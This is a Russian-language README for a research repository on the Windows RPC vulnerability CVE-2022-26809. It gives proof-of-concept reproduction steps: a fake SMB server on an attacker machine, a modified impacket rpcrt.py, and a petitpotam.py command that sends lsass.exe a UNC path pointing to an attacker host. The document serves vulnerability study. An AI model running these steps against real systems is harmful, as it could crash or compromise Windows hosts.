
Этот репозиторий — просто исследование CVE; более подробный анализ см. здесь.
ОБНОВЛЕНИЕ:05/19 2022
Этот анализ ещё не завершён....
ОБНОВЛЕНИЕ:05/22 2022
В посте HuanGMz и блоге corelight показана реальная уязвимая точка:
OSF_CASSOCIATION::ProcessBindAckOrNak

Эта уязвимость срабатывает, как и CVE-2021-43893, когда запрос ESFRPC отправляется к lsass.exe с UNC-путём: жертва пытается обратиться к цели как клиент, и это вызывает целочисленное переполнение в клиентском API
Если у вас есть лучшее решение для срабатывания этой уязвимости, смело создавайте issue или PR :)
Поскольку уязвимость срабатывает как CVE-2021-43893, просто склонируйте код PetitPotam.
Подготовьте окружение так же, как здесь:

fake_smb_server.py на attacker-server, заменив rpcrt.py на оригинальный(**поскольку порт 445 на Windows занят системой, рекомендуется развернуть сервис на Linux **python petitpotam.py -pipe lsarpc -method DecryptFileSrv -debug "user:[email protected]" "\\attacker.path\realfile
lsass.exe(мне не удалось вызвать BSoD, но судя по windbg, целочисленное переполнение сработало)Старое описание
Здесь представлен код воспроизведения Windows RPC-уязвимости CVE-2022-26809 на основе https://github.com/microsoft/Windows-classic-samples/blob/main/Samples/Win7Samples/netds/rpc/hello.
Моя версия Python — 3.6.7
Не уверен, что GetCoalescedBuffer связан с реальной CVE-2022-26809, просто сохраняю это
poc.py лишь пытается вызвать уязвимую функцию OSF_SCALL::GetCoalescedBuffer; аварийного завершения не будет, потому что переполнение целого dword слишком сложно воспроизвести. А rpcrt.py — это Python-пакет impacket.dcerpc.v5.rpcrt; просто замените его оригиналом, чтобы вызвать уязвимость (не забудьте сделать резервную копию оригинала :) Я считаю, что в rpcrt.py куча багов).
Если не работает, возможно, wireshark поможет найти ошибку.
При необходимости просто пересоберите его с помощью nmake